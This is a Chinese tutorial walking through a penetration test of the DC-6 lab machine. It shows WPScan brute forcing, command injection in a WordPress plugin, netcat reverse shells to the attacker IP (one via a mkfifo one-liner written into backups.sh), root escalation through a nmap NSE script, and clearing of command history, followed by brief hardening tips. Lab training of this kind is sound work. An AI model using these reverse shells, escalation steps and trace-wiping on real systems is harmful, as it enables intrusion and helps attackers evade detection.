保姆级教程:从WPScan爆破到Nmap提权,手把手复现DC-6靶机渗透
从信息搜集到权限提升DC-6靶机渗透实战全解析在渗透测试的学习过程中靶机演练是掌握核心技能的关键环节。DC-6作为经典的渗透测试靶机完整复现了从信息搜集到权限提升的全流程。本文将采用工具链深度解析实战思考的双重视角不仅展示操作步骤更着重剖析每个环节的技术选型逻辑和问题排查思路。1. 环境搭建与基础信息搜集1.1 靶机环境配置确保攻击机Kali Linux与靶机DC-6处于同一NAT网络环境。通过ARP扫描快速定位靶机IParp-scan -l --interfaceeth0关键参数解析-l发送ARP请求到本地网络--interface指定网络接口通过MAC地址比对确定靶机IP后例如192.168.1.105立即进行端口扫描nmap -sV -p- 192.168.1.105 -T4 -oA dc6_initial_scan典型扫描结果分析端口服务版本潜在风险点22SSHOpenSSH 7.4弱密码/密钥泄露80HTTPApache 2.4.25Web应用漏洞3306MySQL5.7.21数据库注入1.2 Web应用初步侦查访问80端口时若出现重定向问题需修改本地hosts文件Kali系统/etc/hostsWindows系统C:\Windows\System32\drivers\etc\hosts添加记录192.168.1.105 wordy使用Wappalyzer识别CMS信息确认WordPress 5.1.1框架后立即启动WPScan进行深度扫描wpscan --url http://wordy --enumerate u --plugins-detection aggressive注意扫描前建议更新漏洞数据库wpscan --update2. 密码策略分析与爆破实战2.1 用户枚举与字典构建WPScan扫描获取的用户列表如mark、graham等需保存为users.txt。针对密码字典生成采用多维度策略基础字典生成cewl http://wordy -m 6 -w passwd_base.txt靶机特定密码规则grep k01 /usr/share/wordlists/rockyou.txt passwd_custom.txt组合优化crunch 8 8 -t k01%%%% passwd_custom.txt2.2 精准爆破实施使用WPScan进行定向爆破时需注意速率控制wpscan --url http://wordy -U users.txt -P passwd_custom.txt --throttle 50爆破结果分析要点成功账号的密码强度特征失败尝试中的接近匹配项系统响应时间变化3. 漏洞利用与初始访问3.1 WordPress插件漏洞挖掘通过Activity Monitor插件的RCE漏洞实现突破前端限制绕过浏览器开发者工具修改maxlength属性使用Burp Suite拦截修改请求命令注入测试127.0.0.1 | whoami反弹Shell建立nc -lvnp 4444注入命令127.0.0.1 | nc 192.168.1.100 4444 -e /bin/bash3.2 权限维持技术获取www-data权限后立即建立稳定Shellpython3 -c import pty; pty.spawn(/bin/bash) export TERMxterm环境加固检查清单检查.bash_history文件查看crontab定时任务分析/etc/passwd可写权限4. 横向移动与权限提升4.1 用户间权限跃迁在mark用户的things-to-do.txt中发现graham的凭据后SSH登录验证ssh graham192.168.1.105sudo权限分析sudo -l关键发现(jens) NOPASSWD: /home/jens/backups.sh备份脚本利用echo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.1.100 5555 /tmp/f backups.sh4.2 终极提权技术获取jens权限后利用nmap的sudo权限实现root提权NSE脚本创建echo os.execute(/bin/bash) privesc.nse特权执行sudo nmap --scriptprivesc.nse替代提权方案对比方法成功率隐蔽性依赖条件nmap脚本执行高中sudo权限SUID二进制利用中低存在脆弱SUID文件内核漏洞利用低高未打补丁的系统5. 痕迹清理与防御建议5.1 攻击痕迹清除# 清除命令历史 echo ~/.bash_history history -c # 删除临时文件 rm -f backups.sh privesc.nse5.2 防御加固方案WordPress安全基线定期更新核心和插件限制登录尝试次数禁用XML-RPC接口系统层防护# 检查SUID文件 find / -perm -4000 -type f -exec ls -la {} \; # 审核sudo权限 visudo在真实渗透测试中每个步骤都需要考虑隐蔽性和影响评估。DC-6靶机演练的价值在于它完整呈现了从外网突破到内网横向的典型路径这种思维模式比单纯记住工具命令更为重要。